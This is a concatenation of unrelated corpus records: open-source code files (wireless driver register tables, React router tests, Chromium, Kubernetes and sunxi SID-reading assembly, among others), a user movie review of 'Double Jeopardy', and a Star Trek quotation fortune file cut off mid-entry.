0x00810000, 0x00810000, 0x00810060, 0x00810060, 0x00810060 } }, { 6, 0x989c, { 0x00020800, 0x00020800, 0x00020803, 0x00020803, 0x00020803 } }, { 6, 0x989c, { 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000 } }, { 6, 0x989c, { 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000 } }, { 6, 0x989c, { 0x00001660, 0x00001660, 0x00001660, 0x00001660, 0x00001660 } }, { 6, 0x989c, { 0x00009688, 0x00009688, 0x00009688, 0x00009688, 0x00009688 } }, { 6, 0x98c4, { 0x00000001, 0x00000001, 0x00000001, 0x00000001, 0x00000001 } }, { 7, 0x989c, { 0x00006400, 0x00006400, 0x00006400, 0x00006400, 0x00006400 } }, { 7, 0x989c, { 0x00000800, 0x00000800, 0x00000800, 0x00000800, 0x00000800 } }, { 7, 0x98cc, { 0x0000000e, 0x0000000e, 0x0000000e, 0x0000000e, 0x0000000e } }, }; /* * TODO: Handle the few differences with swan during * bank modification and get rid of this * XXX: a/aTurbo ? */ static const struct ath5k_ini_rfbuffer rfb_2417[] = { { 1, 0x98d4, /* mode a/XR mode aTurbo mode b mode g mode gTurbo */ { 0x00000020, 0x00000020, 0x00000020, 0x00000020, 0x00000020 } }, { 2, 0x98d0, { 0x02001408, 0x02001408, 0x02001408, 0x02001408, 0x02001408 } }, { 3, 0x98dc, { 0x00a020c0, 0x00a020c0, 0x00e020c0, 0x00e020c0, 0x00e020c0 } }, { 6, 0x989c, { 0x10000000, 0x10000000, 0x10000000, 0x10000000, 0x10000000 } }, { 6, 0x989c, { 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000 } }, { 6, 0x989c, { 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000 } }, { 6, 0x989c, { 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000 } }, { 6, 0x989c, { 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000 } }, { 6, 0x989c, { 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000 } }, { 6, 0x989c, { 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000 } }, { 6, 0x989c, { 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000 } }, { 6, 0x989c, { 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000 } }, { 6, 0x989c, { 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000 } }, { 6, 0x989c, { 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000 } }, { 6, 0x989c, { 0x002a0000, 0x002a0000, 0x002a0000, 0x002a0000, 0x002a0000 } }, { 6, 0x989c, { 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000 } }, { 6, 0x989c, { 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000 } }, { 6, 0x989c, { 0x00100000, 0x00100000, 0x00100000, 0x00100000, 0x00100000 } }, { 6, 0x989c, { 0x00020000, 0x00020000, 0x00020000, 0x00020000, 0x00020000 } }, { 6, 0x989c, { 0x00730000, 0x00730000, 0x00730000, 0x00730000, 0x00730000 } }, { 6, 0x989c, { 0x00f80000, 0x00f80000, 0x00f80000, 0x00f80000, 0x00f80000 } }, { 6, 0x989c, { 0x00e70000, 0x00e70000, 0x80e70000, 0x80e70000, 0x00e70000 } }, { 6, 0x989c, { 0x00140000, 0x00140000, 0x00140000, 0x00140000, 0x00140000 } }, { 6, 0x989c, { 0x00910040, 0x00910040, 0x00910040, 0x00910040, 0x00910040 } }, { 6, 0x989c, { 0x0007001a, 0x0007001a, 0x0207001a, 0x0207001a, 0x0007001a } }, { 6, 0x989c, { 0x00410000, 0x00410000, 0x00410000, 0x00410000, 0x00410000 } }, { 6, 0x989c, { 0x00810000, 0x00810000, 0x00810060, 0x00810060, 0x00810060 } }, { 6, 0x989c, { 0x00020800, 0x00020800, 0x00020803, 0x00020803, 0x00020803 } }, { 6, 0x989c, { 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000 } }, { 6, 0x989c, { 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000 } }, { 6, 0x989c, { 0x00001660, 0x00001660, 0x00001660, 0x00001660, 0x00001660 } }, { 6, 0x989c, { 0x00001688, 0x00001688, 0x00001688, 0x00001688, 0x00001688 } }, { 6, 0x98c4, { 0x00000001, 0x00000001, 0x00000001, 0x00000001, 0x00000001 } }, { 7, 0x989c, { 0x00006400, 0x00006400, 0x00006400, 0x00006400, 0x00006400 } }, { 7, 0x989c, { 0x00000800, 0x00000800, 0x00000800, 0x00000800, 0x00000800 } }, { 7, 0x98cc, { 0x0000000e, 0x0000000e, 0x0000000e, 0x0000000e, 0x0000000e } }, };
{ "pile_set_name": "Github" }
import * as React from 'react'; import { render } from 'react-dom'; import { Link, Location, LocationProvider, RouteComponentProps, Router, Redirect, useMatch } from '@reach/router'; interface DashParams { id: string; } const Home = (props: RouteComponentProps) => <div>Home</div>; const Dash = (props: RouteComponentProps<DashParams>) => <div>Dash for item ${props.id}</div>; const NotFound = (props: RouteComponentProps) => <div>Route not found</div>; const UseMatchCheck = (props: RouteComponentProps) => { const match = useMatch('/params/:one'); return <div>{match ? match.one : 'NO PATH PARAM'}</div>; }; render( <Router className="my-class"> <Router component="div"> <Home path="/" /> </Router> <Router component={Home}> <Home path="/" /> </Router> <Home path="/" /> <Dash path="/default/:id" /> <UseMatchCheck path="/params/*" /> <NotFound default /> <Link to="/somepath" rel="noopener noreferrer" target="_blank" /> <Redirect to="/somepath" replace={false} state={{ from: '/' }} /> <Location> {context => ( <> <div>hostname is {context.location.hostname}</div> <button onClick={(): Promise<void> => context.navigate('/')}>Go Home</button> </> )} </Location> <LocationProvider> {context => ( <> <div>hostname is {context.location.hostname}</div> <button onClick={(): Promise<void> => context.navigate('/')}>Go Home</button> </> )} </LocationProvider> </Router>, document.getElementById('app-root'), ); const handleRef = (el: HTMLAnchorElement) => { el.focus(); }; render(<Link innerRef={handleRef} to="./foo"></Link>, document.getElementById('app-root')); render(<Link ref={handleRef} to="./foo"></Link>, document.getElementById('app-root')); const refObject: React.RefObject<HTMLAnchorElement> = { current: null }; render(<Link innerRef={refObject} to="./foo"></Link>, document.getElementById('app-root')); render(<Link ref={refObject} to="./foo"></Link>, document.getElementById('app-root')); // Link can be used as a generic. // TODO: When TS >= 3.1 is supported, use more modern syntax: // <Link<number> state={5} to="./foo"></Link> React.createElement(Link as Link<number>, { state: 5 /* Cast is a test-only fix for TS 3.1. Remove when TS >= 3.2 is supported. */ as number | undefined, to: './foo', ref: refObject /* Cast is a test-only fix for TS 3.1. Remove when TS >= 3.2 is supported. */ as React.Ref<HTMLAnchorElement> | undefined });
{ "pile_set_name": "Github" }
underrated movies are a common reoccurrence in show business today . 1998's 'hope floats' was extremely underrated and was one of the best movies of the year . we always get films that make big money at the box-office but critics and audiences pan on them . this year 'double jeopardy' is one of those films . critics are calling it predictable and worthless , audiences are disappointed with it and think it was a disappointment . but as i viewed 'double jeopardy' i found that it was a great movie , it has a surprising sense of humor and a big dose of heart , along with heart-pounding suspense and twists and turns here and there it certainly is a really good movie . the always wonderful ashley judd plays libby parsons , a woman with a seemingly normal life : a great loving husband , a beautiful son and a great friend . her husband nick parsons has made a surprise for her and is going to buy her the sailboat she has always wanted . after a night of bliss libby wakes up in the middle of the night to find blood all over her and all over the sailboat , her husband is missing and there is a bloody knife on deck . of course being in shock she picks it up and a coast guard comes over and sees her . however she isn't immediately ceased until they find out his life insurance was worth two-million dollars and they start to wonder rather she killed him for the money . she pleads not-guilty but is found guilty and sent to prison for six years . while making a phone call to her best friend who adopted her son for her and she hears him say hi to his dad , which makes libby's heart stop right there . she realizes she must get out and prove that he isn't dead , one of her cell-mates tells her that as long as she has been convicted of a crime she cannot be convicted of it again . which means she can shoot him in the middle of mardi gras and they cannot do anything about it . after she gets out she goes to a halfway house run by parole officer tommy lee jones . he is a man who has had his share of bad things . while out for the day she breaks into a school and tries to track down her kid and husband , leading up to some jaw-dropping twists that are both predictable and not . whatever happens the film was excellent to me . i found the writing well-written as well as the acting was great . ashley judd is such a talented and beautiful actress that she is a hero in a sort in this movie . even if you know what is going to happen in the end , you don't know how . this is one of those movies that you really do know what is going to happen , except you don't know how they are going to make it happen . it could be one way or another , it could be this way or that way . the movie is highly stylized and extremely well-made . it gets most of it's power from the two leads : ashley judd and tommy lee jones both give excellent performances . the characters are well-realized and believable and we feel libby's pain when she cannot see her child for 6 years . even though a lot of critics didn't like the film , i loved it . the director took his time making the movie , and put a lot of shadowing in the movie . i found it not to be boring at all and it's only flaw comes from some predictability . it moved at a fast pace , has suspense , humor , heart and great acting . it earns it's right to be a great movie and to me that's what it was .
{ "pile_set_name": "Github" }
// Copyright 2013 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #ifndef COMPONENTS_HISTORY_CORE_BROWSER_HISTORY_DB_TASK_H_ #define COMPONENTS_HISTORY_CORE_BROWSER_HISTORY_DB_TASK_H_ namespace history { class HistoryBackend; class HistoryDatabase; // HistoryDBTask can be used to process arbitrary work on the history backend // thread. HistoryDBTask is scheduled using HistoryService::ScheduleDBTask. // When HistoryBackend processes the task it invokes RunOnDBThread. Once the // task completes and has not been canceled, DoneRunOnMainThread is invoked back // on the main thread, after which this object is destroyed, also on the // main thread. class HistoryDBTask { public: virtual ~HistoryDBTask() {} // Invoked on the database thread. The return value indicates whether the // task is done. A return value of true signals the task is done and // RunOnDBThread should NOT be invoked again. A return value of false // indicates the task is not done, and should be run again after other // tasks are given a chance to be processed. virtual bool RunOnDBThread(HistoryBackend* backend, HistoryDatabase* db) = 0; // Invoked on the main thread once RunOnDBThread has returned true. This is // only invoked if the request was not canceled and returned true from // RunOnDBThread. virtual void DoneRunOnMainThread() = 0; }; } // namespace history #endif // COMPONENTS_HISTORY_CORE_BROWSER_HISTORY_DB_TASK_H_
{ "pile_set_name": "Github" }
/* * Copyright 2013-2020 http4s.org * * SPDX-License-Identifier: Apache-2.0 */ package org.http4s package headers object Upgrade extends HeaderKey.Default
{ "pile_set_name": "Github" }
#!/bin/bash # Copyright 2015 Google Inc. All rights reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # Brings up the Jsonnet website locally. set -e function check { which $1 > /dev/null || (echo "$1 not installed. Please install $1."; exit 1) } check jekyll if [ ! -r 'doc/_config.yml' ]; then echo 'No doc/_config.yml file found.' >&1 echo 'Are you running this script from the root of the Jsonnet repository?' >&1 exit 1 fi cd doc # TODO: use --livereload, but it's not available on Jekyll 3.1.6 jekyll server --port 8200 --watch
{ "pile_set_name": "Github" }
/* Copyright The Kubernetes Authors. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ // This file was autogenerated by go-to-protobuf. Do not edit it manually! syntax = 'proto2'; package k8s.io.apimachinery.pkg.runtime; // Package-wide variables from generator "generated". option go_package = "runtime"; // RawExtension is used to hold extensions in external versions. // // To use this, make a field which has RawExtension as its type in your external, versioned // struct, and Object in your internal struct. You also need to register your // various plugin types. // // // Internal package: // type MyAPIObject struct { // runtime.TypeMeta `json:",inline"` // MyPlugin runtime.Object `json:"myPlugin"` // } // type PluginA struct { // AOption string `json:"aOption"` // } // // // External package: // type MyAPIObject struct { // runtime.TypeMeta `json:",inline"` // MyPlugin runtime.RawExtension `json:"myPlugin"` // } // type PluginA struct { // AOption string `json:"aOption"` // } // // // On the wire, the JSON will look something like this: // { // "kind":"MyAPIObject", // "apiVersion":"v1", // "myPlugin": { // "kind":"PluginA", // "aOption":"foo", // }, // } // // So what happens? Decode first uses json or yaml to unmarshal the serialized data into // your external MyAPIObject. That causes the raw JSON to be stored, but not unpacked. // The next step is to copy (using pkg/conversion) into the internal struct. The runtime // package's DefaultScheme has conversion functions installed which will unpack the // JSON stored in RawExtension, turning it into the correct object type, and storing it // in the Object. (TODO: In the case where the object is of an unknown type, a // runtime.Unknown object will be created and stored.) // // +k8s:deepcopy-gen=true // +protobuf=true // +k8s:openapi-gen=true message RawExtension { // Raw is the underlying serialization of this object. // // TODO: Determine how to detect ContentType and ContentEncoding of 'Raw' data. optional bytes raw = 1; } // TypeMeta is shared by all top level objects. The proper way to use it is to inline it in your type, // like this: // type MyAwesomeAPIObject struct { // runtime.TypeMeta `json:",inline"` // ... // other fields // } // func (obj *MyAwesomeAPIObject) SetGroupVersionKind(gvk *metav1.GroupVersionKind) { metav1.UpdateTypeMeta(obj,gvk) }; GroupVersionKind() *GroupVersionKind // // TypeMeta is provided here for convenience. You may use it directly from this package or define // your own with the same fields. // // +k8s:deepcopy-gen=false // +protobuf=true // +k8s:openapi-gen=true message TypeMeta { // +optional optional string apiVersion = 1; // +optional optional string kind = 2; } // Unknown allows api objects with unknown types to be passed-through. This can be used // to deal with the API objects from a plug-in. Unknown objects still have functioning // TypeMeta features-- kind, version, etc. // TODO: Make this object have easy access to field based accessors and settors for // metadata and field mutatation. // // +k8s:deepcopy-gen=true // +k8s:deepcopy-gen:interfaces=k8s.io/apimachinery/pkg/runtime.Object // +protobuf=true // +k8s:openapi-gen=true message Unknown { optional TypeMeta typeMeta = 1; // Raw will hold the complete serialized object which couldn't be matched // with a registered type. Most likely, nothing should be done with this // except for passing it through the system. optional bytes raw = 2; // ContentEncoding is encoding used to encode 'Raw' data. // Unspecified means no encoding. optional string contentEncoding = 3; // ContentType is serialization method used to serialize 'Raw'. // Unspecified means ContentTypeJSON. optional string contentType = 4; }
{ "pile_set_name": "Github" }
/* * Copyright (C) 2016 Bernhard Nortmann <[email protected]> * * Permission is hereby granted, free of charge, to any person obtaining a * copy of this software and associated documentation files (the "Software"), * to deal in the Software without restriction, including without limitation * the rights to use, copy, modify, merge, publish, distribute, sublicense, * and/or sell copies of the Software, and to permit persons to whom the * Software is furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice (including the next * paragraph) shall be included in all copies or substantial portions of the * Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER * DEALINGS IN THE SOFTWARE. */ /* * ARM thunk code to read the SID root key using register-based access. * * This is necessary for certain SoCs (e.g. H3), as the values read via * memory mapping might not be consistent. For background information see * https://groups.google.com/forum/#!topic/linux-sunxi/ynyIP8c61Qs */ SID_BASE .req r0 sid_key_index .req r1 .set SID_PRCTL, 0x40 /* SID program/read control register */ .set SID_PRKEY, 0x50 /* SID program key value register */ .set SID_RDKEY, 0x60 /* SID read key value register */ .set SID_OP_LOCK, 0xAC /* Efuse operation lock value */ .set SID_READ_START, (1 << 1) /* bit 1 of SID_PRCTL, Software Read Start */ .set SID_PG_START, (1 << 0) /* bit 0 of SID_PRCTL, Software Program Start */ sid_read_root_key: ldr SID_BASE, sid_base mov sid_key_index, #0 adr r3, sid_result /* result pointer */ sid_read_loop: mov r2, sid_key_index, lsl #16 /* PG_INDEX value */ orr r2, #SID_OP_LOCK << 8 /* OP_LOCK to enable SID_READ_START */ orr r2, #SID_READ_START str r2, [SID_BASE, #SID_PRCTL] /* write SID_PRCTL */ sid_read_wait: ldr r2, [SID_BASE, #SID_PRCTL] /* read SID_PRCTL */ tst r2, #SID_READ_START /* check if read operation completed */ bne sid_read_wait /* loop while bit 1 still set */ ldr r2, [SID_BASE, #SID_RDKEY] /* read SID key value */ str r2, [r3, sid_key_index] /* store SID value */ add sid_key_index, #4 cmp sid_key_index, #16 blo sid_read_loop /* loop while (sid_key_index < 0x10) */ mov r2, #0 str r2, [SID_BASE, #SID_PRCTL] /* clear SID_PRCTL */ bx lr sid_base: .word 0 sid_result: .word 0 /* receives the four "root key" 32-bit words */ .word 0 .word 0 .word 0
{ "pile_set_name": "Github" }
/* * Copyright (C) 2015 Apple Inc. All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY APPLE INC. ``AS IS'' AND ANY * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL APPLE INC. OR * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "config.h" #include "B3FrequencyClass.h" #if ENABLE(B3_JIT) #include <wtf/PrintStream.h> namespace WTF { using namespace JSC::B3; void printInternal(PrintStream& out, FrequencyClass frequency) { switch (frequency) { case FrequencyClass::Normal: out.print("Normal"); return; case FrequencyClass::Rare: out.print("Rare"); return; } RELEASE_ASSERT_NOT_REACHED(); } } // namespace WTF #endif // ENABLE(B3_JIT)
{ "pile_set_name": "Github" }
// Copyright 2009 The Go Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. // +build aix darwin dragonfly freebsd linux netbsd openbsd solaris // Package unix contains an interface to the low-level operating system // primitives. OS details vary depending on the underlying system, and // by default, godoc will display OS-specific documentation for the current // system. If you want godoc to display OS documentation for another // system, set $GOOS and $GOARCH to the desired system. For example, if // you want to view documentation for freebsd/arm on linux/amd64, set $GOOS // to freebsd and $GOARCH to arm. // // The primary use of this package is inside other packages that provide a more // portable interface to the system, such as "os", "time" and "net". Use // those packages rather than this one if you can. // // For details of the functions and data types in this package consult // the manuals for the appropriate operating system. // // These calls return err == nil to indicate success; otherwise // err represents an operating system error describing the failure and // holds a value of type syscall.Errno. package unix // import "golang.org/x/sys/unix" import "strings" // ByteSliceFromString returns a NUL-terminated slice of bytes // containing the text of s. If s contains a NUL byte at any // location, it returns (nil, EINVAL). func ByteSliceFromString(s string) ([]byte, error) { if strings.IndexByte(s, 0) != -1 { return nil, EINVAL } a := make([]byte, len(s)+1) copy(a, s) return a, nil } // BytePtrFromString returns a pointer to a NUL-terminated array of // bytes containing the text of s. If s contains a NUL byte at any // location, it returns (nil, EINVAL). func BytePtrFromString(s string) (*byte, error) { a, err := ByteSliceFromString(s) if err != nil { return nil, err } return &a[0], nil } // Single-word zero for use when we need a valid pointer to 0 bytes. var _zero uintptr
{ "pile_set_name": "Github" }
/* * Copyright 2004-2020 H2 Group. Multiple-Licensed under the MPL 2.0, * and the EPL 1.0 (https://h2database.com/html/license.html). * Initial Developer: H2 Group */ package org.h2.expression; import org.h2.command.Prepared; import org.h2.engine.Session; import org.h2.message.DbException; import org.h2.table.ColumnResolver; import org.h2.table.TableFilter; import org.h2.value.TypeInfo; import org.h2.value.Value; import org.h2.value.ValueLong; /** * Represents the ROWNUM function. */ public class Rownum extends Expression { private final Prepared prepared; public Rownum(Prepared prepared) { if (prepared == null) { throw DbException.throwInternalError(); } this.prepared = prepared; } @Override public Value getValue(Session session) { return ValueLong.get(prepared.getCurrentRowNumber()); } @Override public TypeInfo getType() { return TypeInfo.TYPE_BIGINT; } @Override public void mapColumns(ColumnResolver resolver, int level, int state) { // nothing to do } @Override public Expression optimize(Session session) { return this; } @Override public void setEvaluatable(TableFilter tableFilter, boolean b) { // nothing to do } @Override public String getSQL(boolean alwaysQuote) { return "ROWNUM()"; } @Override public StringBuilder getSQL(StringBuilder builder, boolean alwaysQuote) { return builder.append("ROWNUM()"); } @Override public void updateAggregate(Session session, int stage) { // nothing to do } @Override public boolean isEverything(ExpressionVisitor visitor) { switch (visitor.getType()) { case ExpressionVisitor.QUERY_COMPARABLE: case ExpressionVisitor.OPTIMIZABLE_AGGREGATE: case ExpressionVisitor.DETERMINISTIC: case ExpressionVisitor.INDEPENDENT: return false; case ExpressionVisitor.EVALUATABLE: case ExpressionVisitor.READONLY: case ExpressionVisitor.NOT_FROM_RESOLVER: case ExpressionVisitor.GET_DEPENDENCIES: case ExpressionVisitor.SET_MAX_DATA_MODIFICATION_ID: case ExpressionVisitor.GET_COLUMNS1: case ExpressionVisitor.GET_COLUMNS2: // if everything else is the same, the rownum is the same return true; default: throw DbException.throwInternalError("type="+visitor.getType()); } } @Override public int getCost() { return 0; } }
{ "pile_set_name": "Github" }
{ "name": "wxc-indexlist", "version": "0.1.0", "description": " 一个Weex版本索引列表组件,可以通过索引快速定位,常用于联系人列表、城市列表的基础组件", "main": "index.js", "type": "weex", "repository": "https://github.com/apache/incubator-weex-ui/tree/master/packages/wxc-indexlist", "keywords": [ "Weex", "Vue", "WeexComponent", "DataDisplay", "Indexlist", "WeexUi" ], "weex": { "plugins": {}, "market": { "thumbnail": "https://img.alicdn.com/tfs/TB1ANntSpXXXXXzapXXXXXXXXXX-750-1334.png" } }, "author": "Tw93", "license": "MIT", "dependencies": {} }
{ "pile_set_name": "Github" }
A father doesn't destroy his children. -- Lt. Carolyn Palamas, "Who Mourns for Adonais?", stardate 3468.1. % A little suffering is good for the soul. -- Kirk, "The Corbomite Maneuver", stardate 1514.0 % A man either lives life as it happens to him, meets it head-on and licks it, or he turns his back on it and starts to wither away. -- Dr. Boyce, "The Menagerie" ("The Cage"), stardate unknown % A princess should not be afraid -- not with a brave knight to protect her. -- McCoy, "Shore Leave", stardate 3025.3 % A star captain's most solemn oath is that he will give his life, even his entire crew, rather than violate the Prime Directive. -- Kirk, "The Omega Glory", stardate unknown % A Vulcan can no sooner be disloyal than he can exist without breathing. -- Kirk, "The Menagerie", stardate 3012.4 % A woman should have compassion. -- Kirk, "Catspaw", stardate 3018.2 % Actual war is a very messy business. Very, very messy business. -- Kirk, "A Taste of Armageddon", stardate 3193.0 % After a time, you may find that "having" is not so pleasing a thing, after all, as "wanting." It is not logical, but it is often true. -- Spock, "Amok Time", stardate 3372.7 % Ahead warp factor one, Mr. Sulu. % All your people must learn before you can reach for the stars. -- Kirk, "The Gamesters of Triskelion", stardate 3259.2 % Another Armenia, Belgium ... the weak innocents who always seem to be located on a natural invasion route. -- Kirk, "Errand of Mercy", stardate 3198.4 % Another dream that failed. There's nothing sadder. -- Kirk, "This side of Paradise", stardate 3417.3 % Another war ... must it always be so? How many comrades have we lost in this way? ... Obedience. Duty. Death, and more death ... -- Romulan Commander, "Balance of Terror", stardate 1709.2 % ... bacteriological warfare ... hard to believe we were once foolish enough to play around with that. -- McCoy, "The Omega Glory", stardate unknown % Beam me up, Scotty! % Beam me up, Scotty! It ate my phaser! % Beam me up, Scotty, there's no intelligent life down here! % "Beauty is transitory." "Beauty survives." -- Spock and Kirk, "That Which Survives", stardate unknown % Behind every great man, there is a woman -- urging him on. -- Harry Mudd, "I, Mudd", stardate 4513.3 % Blast medicine anyway! We've learned to tie into every organ in the human body but one. The brain! The brain is what life is all about. -- McCoy, "The Menagerie", stardate 3012.4 % Bones: "The man's DEAD, Jim!" % But Captain -- the engines can't take this much longer! % But it's real. And if it's real it can be affected ... we may not be able to break it, but, I'll bet you credits to Navy Beans we can put a dent in it. -- deSalle, "Catspaw", stardate 3018.2 % "Can you imagine how life could be improved if we could do away with jealousy, greed, hate ..." "It can also be improved by eliminating love, tenderness, sentiment -- the other side of the coin" -- Dr. Roger Corby and Kirk, "What are Little Girls Made Of?", stardate 2712.4 % Captain's Log, star date 21:34.5... % Change is the essential process of all existence. -- Spock, "Let That Be Your Last Battlefield", stardate 5730.2 % Compassion -- that's the one things no machine ever had. Maybe it's the one thing that keeps men ahead of them. -- McCoy, "The Ultimate Computer", stardate 4731.3 % Computers make excellent and efficient servants, but I have no wish to serve under them. Captain, a starship also runs on loyalty to one man. And nothing can replace it or him. -- Spock, "The Ultimate Computer", stardate 4729.4 % Conquest is easy. Control is not. -- Kirk, "Mirror, Mirror", stardate unknown % Dammit Jim, I'm an actor, not a doctor. % Death, when unnecessary, is a tragic thing. -- Flint, "Requiem for Methuselah", stardate 5843.7 % Death. Destruction. Disease. Horror. That's what war is all about. That's what makes it a thing to be avoided. -- Kirk, "A Taste of Armageddon", stardate 3193.0 % Deflector shields just came on, Captain. % Do you know about being with somebody? Wanting to be? If I had the whole universe, I'd give it to you, Janice. When I see you, I feel like I'm hungry all over. Do you know how that feels? -- Charlie Evans, "Charlie X", stardate 1535.8 % Do you know the one -- "All I ask is a tall ship, and a star to steer her by ..." You could feel the wind at your back, about you ... the sounds of the sea beneath you. And even if you take away the wind and the water, it's still the same. The ship is yours ... you can feel her ... and the stars are still there. -- Kirk, "The Ultimate Computer", stardate 4729.4 % [Doctors and Bartenders], We both get the same two kinds of customers -- the living and the dying. -- Dr. Boyce, "The Menagerie" ("The Cage"), stardate unknown % Each kiss is as the first. -- Miramanee, Kirk's wife, "The Paradise Syndrome", stardate 4842.6 % EARL GREY PROFILES NAME: Jean-Luc Perriwinkle Picard OCCUPATION: Starship Big Cheese AGE: 94 BIRTHPLACE: Paris, Terra Sector EYES: Grey SKIN: Tanned HAIR: Not much LAST MAGAZINE READ: Lobes 'n' Probes, the Ferengi-Betazoid Sex Quarterly TEA: Earl Grey. Hot. EARL GREY NEVER VARIES. % Earth -- mother of the most beautiful women in the universe. -- Apollo, "Who Mourns for Adonais?" stardate 3468.1 % Either one of us, by himself, is expendable. Both of us are not. -- Kirk, "The Devil in the Dark", stardate 3196.1 % Emotions are alien to me. I'm a scientist. -- Spock, "This Side of Paradise", stardate 3417.3 % Even historians fail to learn from history -- they repeat the same mistakes. -- John Gill, "Patterns of Force", stardate 2534.7 % Every living thing wants to survive. -- Spock, "The Ultimate Computer", stardate 4731.3 % "Evil does seek to maintain power by suppressing the truth." "Or by misleading the innocent." -- Spock and McCoy, "And The Children Shall Lead", stardate 5029.5. % Extreme feminine beauty is always disturbing. -- Spock, "The Cloud Minders", stardate 5818.4 % Fascinating is a word I use for the unexpected. -- Spock, "The Squire of Gothos", stardate 2124.5 % Fascinating, a totally parochial attitude. -- Spock, "Metamorphosis", stardate 3219.8 % First study the enemy. Seek weakness. -- Romulan Commander, "Balance of Terror", stardate 1709.2 % Four thousand throats may be cut in one night by a running man. -- Klingon Soldier, "Day of the Dove", stardate unknown % "... freedom ... is a worship word..." "It is our worship word too." -- Cloud William and Kirk, "The Omega Glory", stardate unknown % Genius doesn't work on an assembly line basis. You can't simply say, "Today I will be brilliant." -- Kirk, "The Ultimate Computer", stardate 4731.3 % "Get back to your stations!" "We're beaming down to the planet, sir." -- Kirk and Mr. Leslie, "This Side of Paradise", stardate 3417.3 % Hailing frequencies open, Captain. % He's dead, Jim. -- McCoy, "The Devil in the Dark", stardate 3196.1 % History tends to exaggerate. -- Col. Green, "The Savage Curtain", stardate 5906.4 % Humans do claim a great deal for that particular emotion (love). -- Spock, "The Lights of Zetar", stardate 5725.6 % I am pleased to see that we have differences. May we together become greater than the sum of both of us. -- Surak of Vulcan, "The Savage Curtain", stardate 5906.4 % I have never understood the female capacity to avoid a direct answer to any question. -- Spock, "This Side of Paradise", stardate 3417.3 % I object to intellect without discipline; I object to power without constructive purpose. -- Spock, "The Squire of Gothos", stardate 2124.5 % I realize that command does have its fascination, even under circumstances such as these, but I neither enjoy the idea of command nor am I frightened of it. It simply exists, and I will do whatever logically needs to be done. -- Spock, "The Galileo Seven", stardate 2812.7 % "I think they're going to take all this money that we spend now on war and death --" "And make them spend it on life." -- Edith Keeler and Kirk, "The City on the Edge of Forever", stardate unknown. % I thought my people would grow tired of killing. But you were right, they see it is easier than trading. And it has its pleasures. I feel it myself. Like the hunt, but with richer rewards. -- Apella, "A Private Little War", stardate 4211.8 % "I'm a doctor, not a mechanic." -- "The Doomsday Machine", when asked if he had heard of the idea of a doomsday machine. "I'm a doctor, not an escalator." -- "Friday's Child", when asked to help the very pregnant Ellen up a steep incline. "I'm a doctor, not a bricklayer." -- Devil in the Dark", when asked to patch up the Horta. "I'm a doctor, not an engineer." -- "Mirror, Mirror", when asked by Scotty for help in Engineering aboard the ISS Enterprise. "I'm a doctor, not a coalminer." -- "The Empath", on being beneath the surface of Minara 2. "I'm a surgeon, not a psychiatrist." -- "City on the Edge of Forever", on Edith Keeler's remark that Kirk talked strangely. "I'm no magician, Spock, just an old country doctor." -- "The Deadly Years", to Spock while trying 